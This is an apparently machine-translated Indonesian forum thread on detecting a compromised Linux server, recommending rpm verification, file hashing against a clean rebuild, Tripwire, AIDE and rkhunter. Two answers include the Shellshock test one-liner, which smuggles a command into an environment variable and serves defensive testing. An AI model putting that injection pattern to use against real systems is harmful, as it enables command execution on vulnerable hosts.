catatan kedua: Anda tidak dapat memastikan telah pulih dari sistem root yang dikompromikan. Satu-satunya tindakan Anda adalah menghancurkan dan menyediakan kembali sistem

Cobalah untuk mendapatkan build statis bersih rpmdan jalankan perintah rpm --verify --all. Ini akan memberi tahu Anda file mana yang termasuk dalam paket yang telah dimodifikasi. Tetapi karena Anda dapat menjalankannya pada sistem yang dikompromikan, Anda mungkin tidak percaya sepenuhnya hasilnya. Kemudian Anda cukup melakukan a rpm -qauntuk mendapatkan daftar paket, membuat ulang sistem lain dengan versi paket yang sama dan kemudian find / -type f |xargs -r -n 100 md5sum |sortpada kedua sistem dan melihat apa yang berbeda. Juga jika Anda mengelola sistem Anda dengan benar (artinya tidak menginstal apa pun secara manual di luar / opt atau / usr / local / bin atau tempat lain yang tidak dikelola), Anda dapat mencari semua file di sistem Anda yang bukan milik paket, dengan find / -type f -exec rpm -qf {} \;. Seharusnya menampilkan kesalahan untuk file yang tidak dikenal. Saya membiarkan Anda untuk tidak menunjukkan hal-hal positif sebagai latihan ;-)

Untuk melakukan hal yang sama secara berkala dengan bukti kriptografis, ada alat yang disebut Tripwireyang masih dapat Anda temukan sebagai versi gratis. Itu sudah tua tetapi melakukan tugasnya. Alternatif yang lebih baru adalah AIDE, tetapi tidak menggunakan crypto ketika saya melihatnya bertahun-tahun yang lalu.

Ada beberapa alat yang bisa membantu. Misalnya mencari paket rkhunter. Ini akan memindai komputer Anda untuk mengetahui rootkit toolkit, dan mengeksploitasi file.

Jelas alat-alat ini seharusnya telah diinstal dan dikonfigurasi sebelum sistem dikompromikan, dan alat-alat ini juga dapat ditargetkan jika sistem Anda berhasil diretas untuk mengakses root. Selain itu, alat-alat ini bisa sangat intensif dan memperlambat sistem Anda.


2

Satu-satunya cara untuk mengetahui apakah server Anda dikompromikan adalah memiliki tanda tangan di suatu tempat dari file Anda dan membandingkan file Anda saat ini dengannya. Namun demikian Anda dapat melihat apakah Anda rentan.

  1. kamu tidak bisa. Masuk akal untuk mengasumsikan jika mesin Anda memang dikompromikan, alat pemantauan biasa (ps, atas, lsof, ...) telah diganti dengan alat serupa yang hasilnya terlihat normal, menyembunyikan aktivitas mencurigakan
  2. tidak. bisa di folder apa pun dengan file yang dapat dieksekusi.
  3. file atau skrip yang dapat dieksekusi (biner ELF, skrip .shell, ...), termasuk alat pemantauan yang biasa

-3

Cara mengetahui apakah kotak linux Anda dikompromikan.

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jika jika kembali

vulnerable
this is a test

kamu adalah.

Untuk menjalankan pembaruan, di bawah root jalankan perintah berikut

sudo yum update bash

16
-1 Ini memeriksa apakah bash rentan, bukan jika benar-benar telah dikompromikan.
Calimo

1
Ini juga mengasumsikan Anda menjalankan yumdan bukan manajer paket lain.
DavidG

-3

Anda dapat memeriksa apakah Anda rentan dengan menjalankan perintah berikut (kode yang disediakan oleh CSA). Buka jendela terminal dan masukkan perintah berikut di $ prompt:

$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Jika bash Anda TIDAK mutakhir, itu akan mencetak:

vulnerable
this is a test

Jika bash Anda mutakhir, Anda hanya akan melihat:

this is a test

Rincian lebih lanjut tersedia di balik tautan ini .


1
Pertanyaannya adalah tentang mendeteksi bahwa server dikompromikan , bukan karena rentan
Gareth

tolong pertimbangkan membaca tanggapan lain sebelum memposting yang sangat mirip dengan tanggapan yang nilainya rendah karena TIDAK menjawab pertanyaan.
Manu H
Dengan menggunakan situs kami, Anda mengakui telah membaca dan memahami Kebijakan Cookie dan Kebijakan Privasi kami.
Licensed under cc by-sa 3.0 with attribution required.